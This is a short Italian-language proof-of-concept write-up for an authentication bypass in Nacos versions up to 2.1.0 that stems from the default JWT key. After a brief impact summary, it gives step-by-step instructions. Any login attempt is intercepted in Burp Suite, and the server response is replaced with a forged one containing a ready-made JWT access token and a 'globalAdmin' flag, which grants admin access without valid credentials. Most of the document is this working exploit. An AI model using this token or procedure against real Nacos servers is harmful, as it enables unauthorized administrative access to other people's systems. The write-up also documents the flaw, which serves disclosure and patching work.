Alibab-Nacos-Unauthorized-Login

Impatto della vulnerabilità

È stato scoperto un problema in Nacos che interessa Nacos <= 2.1.0. Gli utenti di Nacos utilizzano la chiave JWT predefinita, causando una vulnerabilità di accesso non autorizzato. Attraverso questa vulnerabilità, gli aggressori possono aggirare l'autenticazione con nome utente e password e accedere direttamente come utente Nacos.

Prodotto vulnerabile

Versione Nacos <= 2.1.0

Riproduzione della vulnerabilità

Passaggio 1: Vai direttamente al sito di Nacos, inserisci un nome utente e una password qualsiasi e usa Burpsuite per catturare il pacchetto.

Passaggio 2: Intercetta il pacchetto di risposta.

Passaggio 3: Modifica il pacchetto di dati come segue

HTTP/1.1 200
Date: Thu, 10 Nov 2022 01:27:16 GMT
Content-Type: application/json
Content-Length: 13
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Server: elb

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}

Passaggio 4: Accedi con successo dopo aver rilasciato il pacchetto di dati.